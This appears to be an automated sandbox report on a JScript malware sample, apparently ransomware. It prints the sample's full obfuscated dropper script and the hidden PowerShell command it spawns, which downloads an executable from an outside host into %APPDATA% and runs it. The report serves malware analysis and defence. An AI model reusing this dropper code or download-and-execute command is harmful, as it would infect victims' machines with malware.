  API Call
  
  relevance
  
  1/10
- Creates mutants
  
  details
  
  "\Sessions\1\BaseNamedObjects\Local\ZonesCounterMutex"
  "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex"
  "\Sessions\1\BaseNamedObjects\Local\ZoneAttributeCacheCounterMutex"
  "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex"
  "\Sessions\1\BaseNamedObjects\Global\.net clr networking"
  "\Sessions\1\BaseNamedObjects\RasPbFile"
  "\Sessions\1\BaseNamedObjects\{C20CD437-BA6D-4ebb-B190-70B43DE3B0F3}"
  "\Sessions\1\BaseNamedObjects\_SHuassist.mtx"
  "\Sessions\1\BaseNamedObjects\Local\_!MSFTHISTORY!_"
  "\Sessions\1\BaseNamedObjects\Local\c:!users!upw9lua!appdata!roaming!microsoft!windows!cookies!"
  "\Sessions\1\BaseNamedObjects\Local\c:!users!upw9lua!appdata!local!microsoft!windows!history!history.ie5!"
  "\Sessions\1\BaseNamedObjects\Local\WininetStartupMutex"
  "\Sessions\1\BaseNamedObjects\Local\WininetConnectionMutex"
  "\Sessions\1\BaseNamedObjects\Local\WininetProxyRegistryMutex"
  "\Sessions\1\BaseNamedObjects\Local\c:!users!upw9lua!appdata!local!microsoft!windows!temporary internet files!content.ie5!"
  
  source
  
  Created Mutant
  
  relevance
  
  3/10
- Drops files marked as clean
  
  details
  
  Antivirus vendors marked dropped file "gmpopenh264.dll" as clean (type is "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows")
  
  source
  
  Extracted File
  
  relevance
  
  10/10
- Launches a browser
  
  details
  
  Launches browser "firefox.exe" (Show Process)
  
  source
  
  Monitored Target
  
  relevance
  
  3/10
- Loads the .NET runtime environment
  
  details
  
  "powershell.exe" loaded module "%WINDIR%\assembly\NativeImages_v2.0.50727_32\mscorlib\62a0b3e4b40ec0e8c5cfaa0c8848e64a\mscorlib.ni.dll" at 69F90000
  
  source
  
  Loaded Module
- Parsed Javascript
  
  details
  
  Output: "var vimzimfy = "ibu";
  var ugbuts = 'hucviqidlo';
  var dbaxanzi = 'h';
  
  function alsosj() {
  var tegi = false;
  return tegi;
  }
  
  function qzibxijdeqo() {
  var ybitk = undefined;
  return ybitk;
  }
  
  function bycy() {
  var twysaw = "64916";
  return twysaw;
  }
  var mkolcive = false;
  
  function fdutvax() {
  var ivew = '82738';
  return ivew;
  }
  
  function zhavutfi() {
  return 15.0474;
  }
  var yjcewp = "%";
  var npobwus = ".";
  
  function ukotyfsug() {
  return 1;
  }
  var aqmery = 'replace';
  var ubhogy = 'c';
  
  function xocygcah() {
  var woqazlohj = 11;
  return woqazlohj;
  }
  var vyrajtyju = 65.647;
  
  function ycwywbarm() {
  return 0;
  }
  
  function pjipukyzz() {
  var dymiko = 13.6;
  return dymiko;
  }
  
  function hafutw() {
  return undefined;
  }
  var afdih = null;
  
  function qoqkotsy() {
  var zulgosjil = undefined;
  return zulgosjil;
  }
  var utany = null;
  
  function immoffunha() {
  var varhach = null;
  return varhach;
  }
  var lerlerkytu = typeof document;
  
  function imsaw() {
  return "upima";
  }
  
  function buzapm() {
  return true;
  }
  
  function ghisolpy() {
  return 0;
  }
  jkobeqivh = "ypbatkod";
  var imekpajwob = 75;
  
  function hyxi() {
  return "92466";
  }
  var ibxesno = 'm';
  
  function wyvun() {
  return undefined;
  }
  var ajrahh = ')';
  var noxah = "d";
  vgyxpekxo = 'rwyxzebxuxk';
  var uquhiwn = ':';
  
  function avompavwir() {
  return 1;
  }
  var jlyzifhuxc = "arqozy";
  
  function ylqeful() {
  return '70180';
  }
  
  function evwybo() {
  return 0;
  }
  var fafiq = "'";
  var etfygfaqy = null;
  
  function osyqqorvalq() {
  return "6880";
  }
  var efyfis = 't';
  var dfewtolkybnu = 'vleqcivykn';
  pvydinoko = '84641';
  
  function mmysse() {
  var ggefritjy = 17.5;
  return ggefritjy;
  }
  var geju = "a";
  
  function mkiwo() {
  var ehowh = 25.1654;
  return ehowh;
  }
  styrocyzvy = 'ewcocc';
  var xxiccufuxby = null;
  var yzfotdynasw = 1;
  var ohug = undefined;
  var ypedhycw = 'e';
  var naccexgi = false;
  var ucuxju = undefined;
  var ikwucelfy = 'alyfmixamz';
  var olupa = "dunyqxygr";
  var jyxtiw = "^";
  var iwugdiwx = 5.855;
  var zbike = '(';
  
  function iwkydciti() {
  return undefined;
  }
  
  function exvihve() {
  var ocvami = false;
  return ocvami;
  }
  var jisvapax = 1.671;
  var upqetp = 1;
  var alucra = "yvfiq";
  var ilavhys = null;
  
  function anar() {
  return undefined;
  }
  
  function ytxobo() {
  var ekryzsoj = 8.654;
  return ekryzsoj;
  }
  
  function bagef() {
  return 'jcyd';
  }
  
  function oqgovajo() {
  var ucopkuxmi = null;
  return ucopkuxmi;
  }
  var izgyjgipso = undefined;
  
  function evulon() {
  var izfafex = false;
  return izfafex;
  }
  
  function zcagyl() {
  return null;
  }
  
  function ocuqga() {
  var zede = false;
  return zede;
  }
  
  function nsetriso() {
  return 4;
  }
  
  function sxuwga() {
  return '95275';
  }
  
  function ozgusaq() {
  var xjomgokhe = "o6r6gb5i8elw5e1bzuo6r69i64y9o9n3xo9n3 /o6r6 pipz6pl6oWo9n3ripz6pl6sqf8o9n32ipz6pl6o9n3LLbzuo6r69i64y9o9n3ipz6pl6Xo9n3 ipz6pl6-ipz6pl6o9n3Xo9n3o6r6Ul2uo6r69i64iOnPoLiipz6pl6o6r6Y Bypipz6pl6uo6r69i6ipz6pl6ssipz6pl6 -ipz6pl6nOipz6pl6PROFilipz6pl6o9n3ipz6pl6 -wipz6pl6iNelw5e1Owipz6pl6sl2uo6r69i64yipz6pl6Lo9n3ipz6pl6 qf8o9n32ielw5e1elw5e1ipz6pl6o9n3nipz6pl6 gb5i8u1qf8o9n32r6No9n3wipz6pl6-oBJo9n3o6r6l2uo6r69i64 Sipz6pl6Ysipz6pl6l2uo6r69i64o9n3ipz6pl6gb5i8ipz6pl6bzuo6r69i64y9ipz6pl6No9n3l2uo6r69i64ipz6pl6bzuo6r69i64y9Wipz6pl6o9n3ipz6pl6Bo6r6lipz6pl6Iipz6pl6o9n3nl2uo6r69i64ngb5i82ln2bzuo6r69i64y9elw5e1Oipz6pl6wipz6pl6nlOuo6r69i6elw5e1filo9n3gb5i8u1qf8o9n32r6ipz6pl6mwa1a2qf8o9n32l2uo6r69i64l2uo6r69i64pgy7dg5//wwwbzuo6r69i64y9injusl2uo6r69i64io6r6o9n3ilbzuo6r69i64y9l2uo6r69i64op/uso9n3rbzuo6r69i64y9pqf8o9n32p?f=2bzuo6r69i64y9elw5e1uo6r69i6l2uo6r69i64mwa1a2,ipz6pl6mwa1a2du3h8uo6r69i6Ppelw5e1uo6r69i6l2uo6r69i64uo6r69i6du3h8bzuo6r69i64y9o9n3Xo9n3mwa1a2ngb5i82ln2;sl2uo6r69i64ipz6pl6uo6r69i6rl2uo6r69i64ipz6pl6-pipz6pl6Ripz6pl6Oo6r6ipz6pl6o9n3Ssipz6pl6 du3h8uo6r69i6pPelw5e1uo6r69i6l2uo6r69i64uo6r69i6du3h8bzuo6r69i64y9o9n3Xo9n3";
  var ixunlogs = [/du3h8/gi
  /gy7dg5/gi
  /mwa1a2/gi
  /o6r6/gi
  /uc9i6/gi
  /elw5e1/gi
  /gb5i8/gi
  /o9n3/gi
  /ipz6pl6/gi
  /qf8e2/gi
  /mu1hr6/gi
  /bza4y9/gi
  /nm2ln2/gi
  /l2a4/gi];
  var ewavke = [yjcewp
  uquhiwn
  fafiq
  ubhogy
  geju
  noxah
  ibxesno
  ypedhycw
  jyxtiw
  dbaxanzi
  zbike
  npobwus
  ajrahh
  efyfis];
  var wtyzyj = 0;
  while (1) {
  if (wtyzyj == ixunlogs.length) break;
  if (/cri/.test(ScriptEngine())) xjomgokhe = xjomgokhe[aqmery](ixunlogs[wtyzyj], ewavke[wtyzyj]);
  wtyzyj++;
  }
  return xjomgokhe;
  }
  switch (zcagyl()) {
  case 1:
  if (vyrajtyju == 65.647) {
  var hpakevvi = typeof false;
  var mcerolvofw = 'zkargoly';
  mcerolvofw = '21554';
  var vpedwaknutpy = typeof false;
  }
  if (imsaw() === 'upima') {
  var uvefixx = false;
  var ilyjvo = 'vwymo';
  var nalylpolf = 9.2 + 'ytury';
  }
  break;
  case undefined:
  if (vyrajtyju == 65.647) {
  var hpakevvi = typeof false;
  var mcerolvofw = 'zkargoly';
  mcerolvofw = '21554';
  var vpedwaknutpy = typeof false;
  }
  if (imsaw() === 'upima') {
  var uvefixx = false;
  var ilyjvo = 'vwymo';
  var nalylpolf = 9.2 + 'ytury';
  }
  break;
  case null:
  switch (ytxobo()) {
  case 'aby':
  var nisernu = null;
  if (nisernu === null) {
  var mwuhjaqagfu = typeof 'upguniv';
  var agbiwhi = typeof null;
  var ijguhe = 43.2;
  }
  if (ucuxju === undefined) {
  udoqyltyt = "yjeva";
  aggaqyxy = 4;
  var uhnydyzsisr = aggaqyxy + udoqyltyt;
  var qehtam = typeof null;
  var pozsix = typeof 1;
  var oqpostonx = 919 + '11744';
  var ehaxinpalx = 886 + "nrymu";
  anwututdi = 53 + '6971';
  }
  break;
  case 'koqi':
  var nisernu = null;
  if (nisernu === null) {
  var mwuhjaqagfu = typeof 'upguniv';
  var agbiwhi = typeof null;
  var ijguhe = 43.2;
  }
  if (ucuxju === undefined) {
  udoqyltyt = "yjeva";
  aggaqyxy = 4;
  var uhnydyzsisr = aggaqyxy + udoqyltyt;
  var qehtam = typeof null;
  var pozsix = typeof 1;
  var oqpostonx = 919 + '11744';
  var ehaxinpalx = 886 + "nrymu";
  anwututdi = 53 + '6971';
  }
  break;
  case 1:
  var nisernu = null;
  if (nisernu === null) {
  var mwuhjaqagfu = typeof 'upguniv';
  var agbiwhi = typeof null;
  var ijguhe = 43.2;
  }
  if (ucuxju === undefined) {
  udoqyltyt = "yjeva";
  aggaqyxy = 4;
  var uhnydyzsisr = aggaqyxy + udoqyltyt;
  var qehtam = typeof null;
  var pozsix = typeof 1;
  var oqpostonx = 919 + '11744';
  var ehaxinpalx = 886 + "nrymu";
  anwututdi = 53 + '6971';
  }
  break;
  case undefined:
  var nisernu = null;
  if (nisernu === null) {
  var mwuhjaqagfu = typeof 'upguniv';
  var agbiwhi = typeof null;
  var ijguhe = 43.2;
  }
  if (ucuxju === undefined) {
  udoqyltyt = "yjeva";
  aggaqyxy = 4;
  var uhnydyzsisr = aggaqyxy + udoqyltyt;
  var qehtam = typeof null;
  var pozsix = typeof 1;
  var oqpostonx = 919 + '11744';
  var ehaxinpalx = 886 + "nrymu";
  anwututdi = 53 + '6971';
  }
  break;
  case 8.654:
  if (alucra === undefined) {
  var farkysp = 1;
  if (farkysp == true) {
  if (ycwywbarm() == 0) {
  var lkopzikyfe = true;
  yjetlaxle = 75 + "vpulrope";
  var usfulexv = 'juhinqemdu';
  var escogi = "umy" + 4.834;
  var mvilpexpihk = typeof null;
  }
  }
  } else {
  switch (bagef()) {
  case true:
  if (wyvun() == undefined) {
  if (typeof etfygfaqy == "object") {
  var axverics = typeof 0;
  var umkelybd = "ihusespe";
  var omegoxab = 676;
  inxikulgig = omegoxab + umkelybd;
  inxikulgig = inxikulgig + '8928';
  }
  }
  var fhuwovguhxo = undefined;
  if (fhuwovguhxo == undefined) {
  if (typeof ylqeful() == 'string') {
  if (typeof pjipukyzz() == "number") {
  var uhansywfyx = typeof 65;
  var dxegydla = typeof "elxolujw";
  }
  }
  }
  break;
  case null:
  if (wyvun() == undefined) {
  if (typeof etfygfaqy == "object") {
  var axverics = typeof 0;
  var umkelybd = "ihusespe";
  var omegoxab = 676;
  inxikulgig = omegoxab + umkelybd;
  inxikulgig = inxikulgig + '8928';
  }
  }
  var fhuwovguhxo = undefined;
  if (fhuwovguhxo == undefined) {
  if (typeof ylqeful() == 'string') {
  if (typeof pjipukyzz() == "number") {
  var uhansywfyx = typeof 65;
  var dxegydla = typeof "elxolujw";
  }
  }
  }
  break;
  case 'jcyd':
  var emynri = typeof 1;
  var ixitgock = typeof null;
  var fgogoqapn = '71786';
  fgogoqapn = 774 + fgogoqapn;
  var qkydilycu = 'zkacly';
  qkydilycu = "oxa" + qkydilycu;
  var pynirih = 280.648;
  xdibaboma = 82.1067 + "70519";
  var eriqmivhum = typeof null;
  if (evulon() === 571) {
  if (buzapm() === 'etifsigj') {
  var yvipqerdafq = typeof null;
  var dnefhulkav = typeof null;
  }
  } else {
  switch (upqetp) {
  case null:
  if (ghisolpy() == false) {
  vkabmeqfafd = '80957';
  var mfazyquli = 2.379;
  var agasejiw = vkabmeqfafd + mfazyquli;
  agasejiw = agasejiw + '45233';
  var gopyzvisu = 0;
  var ovmumbiph = 49;
  gqilcelyr = "ybxa";
  var rpuqqozeg = 10.4816;
  var ffowzolyl = rpuqqozeg + gqilcelyr;
  ffowzolyl = ffowzolyl + "sbixpyd";
  }
  if (iwugdiwx == '5.855') {
  if (mkolcive === null) {
  var essawwar = typeof null;
  var ykaleda = 11.39 + 'ezogmusz';
  jzakuxymvi = 'wdyf' + 136.98;
  var gugwarem = 13.8;
  var fhygpylxu = 62.224;
  ntupebru = fhygpylxu + dfewtolkybnu;
  ntupebru = '39724' + ntupebru;
  }
  }
  if (exvihve() == 89) {
  ryrokj = 35 + "65823";
  var olohmabp = 'skudi';
  var madyvbuk = 2;
  var opuwe = olohmabp + madyvbuk;
  opuwe = 49 + opuwe;
  var yvbiswimsarh = 82.335;
  var uzytereh = 0.1864;
  uzytereh = 'eqoputys';
  var civjajre = 'xymsudk';
  civjajre = '41562' + civjajre;
  }
  var gmerizacz = 566;
  if (gmerizacz < 1045) {
  aznuwpixzywg = "yjfiqap";
  var ikreve = 59.762;
  wytunp = ikreve + aznuwpixzywg;
  wytunp = wytunp + 265;
  var occofi = 12;
  ovmefbirb = styrocyzvy + occofi;
  ovmefbirb = ovmefbirb + 15;
  var ygkekymgyxj = typeof null;
  var adoqtitty = typeof '9736';
  var emofwaz = "64236";
  oqikepki = 0.02;
  var irwagotl = emofwaz + oqikepki;
  irwagotl = 'asifta' + irwagotl;
  }
  break;
  case 1:
  var ybbanbo = new ActiveXObject("WScript.Shell");
  var amygk = 10;
  switch (amygk) {
  case null:
  var dhaqsira = 0;
  if (typeof dhaqsira == 'number') {
  icdeqlyd = 'ode';
  ydugekqe = 1.8;
  var ijtustys = icdeqlyd + ydugekqe;
  ijtustys = 3 + ijtustys;
  ojimuzwo = 499;
  var ffelakn = vimzimfy + ojimuzwo;
  var eslipqybzen = typeof null;
  urranvinx = '78597' + 551;
  var skezedu = typeof null;
  }
  if (evwybo() === 854) {
  qmodqumbo = 5 + "dsowahni";
  var ofezatmon = undefined;
  var yqyjuvwin = null;
  var zwuhrepreq = typeof 0;
  var tfifkijs = 7;
  var owvebo = 'yxybh';
  var ppovyhyxy = 2;
  var advomij = ppovyhyxy + owvebo;
  advomij = advomij + 5.5405;
  var ylexo = "ewloqh";
  }
  if (imekpajwob == 62) {
  adyrte = 1.788 + '36731';
  var ydrolso = null;
  }
  break;
  case 10:
  if (nsetriso() < 9) {
  switch (jisvapax) {
  case null:
  if (mkiwo() === 17.1654) {
  var vebenvy = typeof false;
  var zujoqe = 651.6468 + "59727";
  }
  if (osyqqorvalq() === undefined) {
  var kyrnorxotda = "ewyna";
  var ehevga = 924;
  var yxojmobdi = kyrnorxotda + ehevga;
  yxojmobdi = yxojmobdi + 10.2195;
  }
  var obfymogev = "qepozkobg";
  if (obfymogev === 783) {
  var nonirq = "77148";
  var vrijyrloji = 691 + "vtabi";
  }
  break;
  case false:
  if (mkiwo() === 17.1654) {
  var vebenvy = typeof false;
  var zujoqe = 651.6468 + "59727";
  }
  if (osyqqorvalq() === undefined) {
  var kyrnorxotda = "ewyna";
  var ehevga = 924;
  var yxojmobdi = kyrnorxotda + ehevga;
  yxojmobdi = yxojmobdi + 10.2195;
  }
  var obfymogev = "qepozkobg";
  if (obfymogev === 783) {
  var nonirq = "77148";
  var vrijyrloji = 691 + "vtabi";
  }
  break;
  case 1.671:
  switch (ocuqga()) {
  case 'ddemixmocs':
  if (utany === null) {
  var ydjuvi = typeof false;
  }
  if (ukotyfsug() === 0) {
  var fjupoq = typeof undefined;
  var covyd = typeof false;
  var dawtot = typeof "uxjapqe";
  var rzedizhi = typeof null;
  var fyhhuxtaw = typeof 39.7048;
  var hufibed = 8 + 'asbiclusev';
  }
  if (ugbuts === 'hucviqidlo') {
  if (xxiccufuxby == true) {
  var guqweqasky = 'hywpojefe';
  var vtonkes = '1496';
  itokig = 167;
  var ebeziqef = vtonkes + itokig;
  ebeziqef = ebeziqef + 27;
  var abiga = "38195" + 66;
  }
  }
  break;
  case false:
  var tytvor = 0;
  if (lerlerkytu == "undefined") {
  if (sxuwga() === null) {
  if (zhavutfi() == 15.0474) {
  var mofcax = 124;
  var ywuqko = mofcax + pvydinoko;
  ywuqko = 3 + ywuqko;
  var uhycxowto = 'tasenaxqe' + 21.343;
  var dzibysko = "zlip";
  var oddupaduq = 39.055;
  var rvuvdecw = dzibysko + oddupaduq;
  rvuvdecw = rvuvdecw + '75112';
  var axgurhyje = 43.108;
  var zmerawzax = "ifjimvycy" + 61.8249;
  }
  if (avompavwir() === 715) {
  var fuldunvive = "19040" + 80;
  }
  if (afdih == null) {
  if (xocygcah() < -26) {
  var ejlacozfe = undefined;
  if (ejlacozfe === 0) {
  var xuhylu = "65881";
  xuhylu = 16.872 + xuhylu;
  }
  }
  }
  } else {
  var ogakwite = typeof 1;
  var hodfar = 68;
  hodfar = 3.66 + hodfar;
  var syhvejuzni = typeof null;
  var akysroxihr = typeof 85;
  var ymununt = typeof undefined;
  if (izgyjgipso == 0) {
  if (mmysse() === 21.5) {
  var ohnyjraboq = typeof undefined;
  var aqadbomto = typeof "bfixvisymg";
  var okhuxvylyp = typeof true;
  }
  if (yzfotdynasw === 1) {
  var dekusboz = 884 + "33099";
  var dzylesj = typeof undefined;
  var ykishodpiv = 'ikdevnozni';
  var arsyqu = typeof 0;
  var egcafditvi = 17.22;
  var ytifigy = egcafditvi + jkobeqivh;
  ytifigy = "28474" + ytifigy;
  ccehef = '30898' + 18.953;
  var ekcahtepx = typeof '58680';
  }
  } else {
  var ufadebo = typeof false;
  var urcabeze = typeof true;
  var bvomsusdu = 76.442;
  bvomsusdu = '57273';
  var gydmiqxofvi = "78825";
  var nyrnuvne = typeof null;
  switch (oqgovajo()) {
  case false:
  if (ikwucelfy == "alyfmixamz") {
  var ygfavzixt = 'zhypubpajmy';
  if (ygfavzixt == true) {
  var zruvjafyjb = typeof 234;
  var isiqa = 290;
  var gixgydtahzo = isiqa + vgyxpekxo;
  var febagjyqqu = 89 + "59030";
  var octefonavq = typeof 1;
  }
  }
  var vwivefnawy = "urylz";
  if (vwivefnawy === 'urylz') {
  var geluzwo = "nar" + 0.1713;
  }
  break;
  case null:
  if (anar() === 'nune') {
  if (qzibxijdeqo() == 608) {
  var evpelqotu = typeof true;
  }
  if (typeof hyxi() == "string") {
  if (iwkydciti() == false) {
  var divoq = typeof false;
  var ihwuzhyc = null;
  udbejmesapd = '89091';
  var daxxev = 4.75;
  var mzucuxbyf = daxxev + udbejmesapd;
  var ibdyvi = '34582' + 604;
  }
  }
  } else {
  var acuvby = undefined;
  if (acuvby == 687) {
  var aqodep = null;
  if (aqodep === null) {
  var wivbotelma = typeof 'trugre';
  }
  } else {
  if (ilavhys === null) {
  ybbanbo.run(ozgusaq()
  naccexgi);
  } else {
  if (hafutw() === undefined) {
  var snihxuputly = typeof "ebeve";
  var rtesemre = null;
  var zufhedt = typeof undefined;
  var kykqiwor = 'atpadkacasx' + 176;
  var enwucnanzy = 'uqagr';
  var ideluzy = typeof "isvemaftus";
  }
  }
  var jurata = typeof true;
  var vbonlajybu = 'hjijokj';
  var arqixyfevf = 13.23;
  var nibxygu = vbonlajybu + arqixyfevf;
  nibxygu = "13734" + nibxygu;
  var ifjopitxa = true;
  var ludiwonva = true;
  var lobutby = 13.86;
  var iqidfekm = 'uluzpamtog';
  var owwixupar = 80;
  }
  }
  break;
  }
  }
  }
  } else {
  if (typeof ohug == "undefined") {
  if (fdutvax() == null) {
  var rudena = typeof false;
  var aznefsasso = 19.426 + "94173";
  var eljocos = 'lgosrynyzi' + 10.1716;
  var yssenqul = "90401";
  var ysdoxyvumv = 14.8;
  var mufixxa = yssenqul + ysdoxyvumv;
  mufixxa = 16.358 + mufixxa;
  var teriza = typeof 0;
  iroregalp = 'pifcanzur';
  uhegcejw = 12;
  var ynkexocraq = uhegcejw + iroregalp;
  var yqapur = "81582" + 2;
  }
  }
  var ymcev = undefined;
  if (ymcev == undefined) {
  if (bycy() == 412) {
  cipopyp = "38814";
  mrettugcyhe = 276;
  var vceqwatarc = cipopyp + mrettugcyhe;
  vceqwatarc = vceqwatarc + 'qnykzuq';
  var wohkihhe = '44852';
  ufoversiw = 89.365;
  emicalis = ufoversiw + wohkihhe;
  emicalis = emicalis + "lwuk";
  var cwihden = typeof 88;
  var uvqigsitge = '979' + 20.332;
  }
  }
  if (typeof olupa == 'string') {
  var fmocabxisgo = 'swydopyj';
  var ogjita = 36.764 + '18191';
  var ixily = typeof 'sosma';
  var aponbu = "gqymqi";
  odtuzhyspag = 15.4;
  muqwem = odtuzhyspag + aponbu;
  muqwem = 62 + muqwem;
  var vecmohawh = 14.6;
  }
  }
  rjydkiggul = "xcejbypos" + 30.8;
  var ylduxucihq = 71.2626;
  var fgenholza = false;
  break;
  case 21.46:
  if (utany === null) {
  var ydjuvi = typeof false;
  }
  if (ukotyfsug() === 0) {
  var fjupoq = typeof undefined;
  var covyd = typeof false;
  var dawtot = typeof "uxjapqe";
  var rzedizhi = typeof null;
  var fyhhuxtaw = typeof 39.7048;
  var hufibed = 8 + 'asbiclusev';
  }
  if (ugbuts === 'hucviqidlo') {
  if (xxiccufuxby == true) {
  var guqweqasky = 'hywpojefe';
  var vtonkes = '1496';
  itokig = 167;
  var ebeziqef = vtonkes + itokig;
  ebeziqef = ebeziqef + 27;
  var abiga = "38195" + 66;
  }
  }
  break;
  }
  break;
  }
  var uzoqony = typeof "ahbind";
  uvvutlafis = "78220";
  var deqilutku = 4;
  var nikatez = deqilutku + uvvutlafis;
  nikatez = '83642' + nikatez;
  var cuqtuz = 7;
  itictysew = cuqtuz + jlyzifhuxc;
  itictysew = 5 + itictysew;
  yvujemoj = 8.82 + 'ogbyt';
  arjozxibu = "amargansad";
  var ojowixi = 516;
  gvowegy = ojowixi + arjozxibu;
  var rmejlege = typeof undefined;
  } else {
  if (qoqkotsy() === 124) {
  if (alsosj() == 777) {
  var igambi = 190 + "eheph";
  var uzifadr = 'ucyne' + 761;
  var abbywawq = null;
  var ygacu = 'iflywema';
  var cagnol = typeof null;
  }
  }
  if (immoffunha() === null) {
  var omeni = 'rec';
  var phetexape = 25;
  var jywylgepsa = omeni + phetexape;
  jywylgepsa = 12.33 + jywylgepsa;
  var upnarusw = typeof null;
  var hiqumizo = typeof 736;
  var iwupduc = typeof null;
  var zevalfo = null;
  var canhibpyzu = 3.2 + '42744';
  ohlycgy = 405 + "38137";
  }
  }
  break;
  }
  break;
  case undefined:
  if (ghisolpy() == false) {
  vkabmeqfafd = '80957';
  var mfazyquli = 2.379;
  var agasejiw = vkabmeqfafd + mfazyquli;
  agasejiw = agasejiw + '45233';
  var gopyzvisu = 0;
  var ovmumbiph = 49;
  gqilcelyr = "ybxa";
  var rpuqqozeg = 10.4816;
  var ffowzolyl = rpuqqozeg + gqilcelyr;
  ffowzolyl = ffowzolyl + "sbixpyd";
  }
  if (iwugdiwx == '5.855') {
  if (mkolcive === null) {
  var essawwar = typeof null;
  var ykaleda = 11.39 + 'ezogmusz';
  jzakuxymvi = 'wdyf' + 136.98;
  var gugwarem = 13.8;
  var fhygpylxu = 62.224;
  ntupebru = fhygpylxu + dfewtolkybnu;
  ntupebru = '39724' + ntupebru;
  }
  }
  if (exvihve() == 89) {
  ryrokj = 35 + "65823";
  var olohmabp = 'skudi';
  var madyvbuk = 2;
  var opuwe = olohmabp + madyvbuk;
  opuwe = 49 + opuwe;
  var yvbiswimsarh = 82.335;
  var uzytereh = 0.1864;
  uzytereh = 'eqoputys';
  var civjajre = 'xymsudk';
  civjajre = '41562' + civjajre;
  }
  var gmerizacz = 566;
  if (gmerizacz < 1045) {
  aznuwpixzywg = "yjfiqap";
  var ikreve = 59.762;
  wytunp = ikreve + aznuwpixzywg;
  wytunp = wytunp + 265;
  var occofi = 12;
  ovmefbirb = styrocyzvy + occofi;
  ovmefbirb = ovmefbirb + 15;
  var ygkekymgyxj = typeof null;
  var adoqtitty = typeof '9736';
  var emofwaz = "64236";
  oqikepki = 0.02;
  var irwagotl = emofwaz + oqikepki;
  irwagotl = 'asifta' + irwagotl;
  }
  break;
  case null:
  if (ghisolpy() == false) {
  vkabmeqfafd = '80957';
  var mfazyquli = 2.379;
  var agasejiw = vkabmeqfafd + mfazyquli;
  agasejiw = agasejiw + '45233';
  var gopyzvisu = 0;
  var ovmumbiph = 49;
  gqilcelyr = "ybxa";
  var rpuqqozeg = 10.4816;
  var ffowzolyl = rpuqqozeg + gqilcelyr;
  ffowzolyl = ffowzolyl + "sbixpyd";
  }
  if (iwugdiwx == '5.855') {
  if (mkolcive === null) {
  var essawwar = typeof null;
  var ykaleda = 11.39 + 'ezogmusz';
  jzakuxymvi = 'wdyf' + 136.98;
  var gugwarem = 13.8;
  var fhygpylxu = 62.224;
  ntupebru = fhygpylxu + dfewtolkybnu;
  ntupebru = '39724' + ntupebru;
  }
  }
  if (exvihve() == 89) {
  ryrokj = 35 + "65823";
  var olohmabp = 'skudi';
  var madyvbuk = 2;
  var opuwe = olohmabp + madyvbuk;
  opuwe = 49 + opuwe;
  var yvbiswimsarh = 82.335;
  var uzytereh = 0.1864;
  uzytereh = 'eqoputys';
  var civjajre = 'xymsudk';
  civjajre = '41562' + civjajre;
  }
  var gmerizacz = 566;
  if (gmerizacz < 1045) {
  aznuwpixzywg = "yjfiqap";
  var ikreve = 59.762;
  wytunp = ikreve + aznuwpixzywg;
  wytunp = wytunp + 265;
  var occofi = 12;
  ovmefbirb = styrocyzvy + occofi;
  ovmefbirb = ovmefbirb + 15;
  var ygkekymgyxj = typeof null;
  var adoqtitty = typeof '9736';
  var emofwaz = "64236";
  oqikepki = 0.02;
  var irwagotl = emofwaz + oqikepki;
  irwagotl = 'asifta' + irwagotl;
  }
  break;
  }
  }
  break;
  }
  }
  break;
  }
  var nuranenvi = typeof false;
  var yvinliqab = "5318" + 38.69;
  break;
  case '34230':
  if (vyrajtyju == 65.647) {
  var hpakevvi = typeof false;
  var mcerolvofw = 'zkargoly';
  mcerolvofw = '21554';
  var vpedwaknutpy = typeof false;
  }
  if (imsaw() === 'upima') {
  var uvefixx = false;
  var ilyjvo = 'vwymo';
  var nalylpolf = 9.2 + 'ytury';
  }
  break;
  }"
  
  source
  
  Static Parser
  
  relevance
  
  5/10
- Reads Windows Trust Settings
  
  details
  
  "wscript.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\WINTRUST\TRUST PROVIDERS\SOFTWARE PUBLISHING"; Key: "STATE")
  
  source
  
  Registry Access
  
  relevance
  
  5/10
- Runs shell commands
  
  details
  
  "/c p^oWer^sh^eLL.e^Xe ^-^eXecUtiOnPoLi^cY Byp^a^ss^ -^nO^PROFil^e^ -w^iNdOw^sty^Le^ hidd^en^ (New^-oBJect S^Ys^te^m^.^Net^.W^e^Bcl^I^ent).dO^w^nlOadfile(^'http://www.injusticeil.top/user.php?f=2.dat',^'%APPDATA%\eXe');st^art^-p^R^Oc^eSs^ %APPDATA%\eXe" on 2016-10-22.07:30:00.640
  "/C del /Q /F "%TEMP%\sysE5A3.tmp"" on 2016-10-22.09:42:00.460
  
  source
  
  Monitored Target
  
  relevance
  
  5/10
- Spawns new processes
  
  details
  
  Spawned process "cmd.exe" with commandline "/c p^oWer^sh^eLL.e^Xe ^-^eXecUtiOnPoLi^cY Byp^a^ss^ -^nO^PROFil^e^ -w^iNdOw^sty^Le^ hidd^en^ (New^-oBJect S^Ys^te^m^.^Net^.W^e^Bcl^I^ent).dO^w^nlOadfile(^'http://www.injusticeil.top/user.php?f=2.dat',^'%APPDATA%\eXe');st^art^-p^R^Oc^eSs^ %APPDATA%\eXe" (Show Process)
  Spawned process "powershell.exe" with commandline "poWersheLL.eXe -eXecUtiOnPoLicY Bypass -nOPROFile -wiNdOwstyLe hidden (New-oBJect SYstem.Net.WeBclIent).dOwnlOadfile('http://www.injusticeil.top/user.php?f=2.dat','%APPDATA%\eXe');start-pROceSs %APPDATA%\eXe" (Show Process)
  Spawned process "eXe" (Show Process)
  Spawned process "eXe" (Show Process)
  Spawned process "firefox.exe" with commandline "-osint -url "%USERPROFILE%\Desktop\_HOWDO_text.html"" (Show Process)
  Spawned process "cmd.exe" with commandline "/C del /Q /F "%TEMP%\sysE5A3.tmp"" (Show Process)
  Spawned process "helper.exe" with commandline "/SetAsDefaultAppUser" (Show Process)
  
  source
  
  Monitored Target
  
  relevance
  
  3/10
Installation/Persistance
- Connects to LPC ports
  
  details
  
  "wscript.exe" connecting to "\ThemeApiPort"
  "helper.exe" connecting to "\ThemeApiPort"
  
  source
  
  API Call
  
  relevance
  
  1/10
- Contains ability to lookup the windows account name
  
  details
  
  GetUserNameW@ADVAPI32.DLL from PID 00001264
  
  source
  
  Hybrid Analysis Technology
  
  relevance
  
  5/10
- Dropped files
  
  details
  
  "nav.css" has type "ASCII text"
  "5DYGW9JJ-XIPQ-SEFB-D62E-8CABDDA95F33.odin" has type "data"
  "_28_HOWDO_text.html" has type "HTML document UTF-8 Unicode text with very long lines"
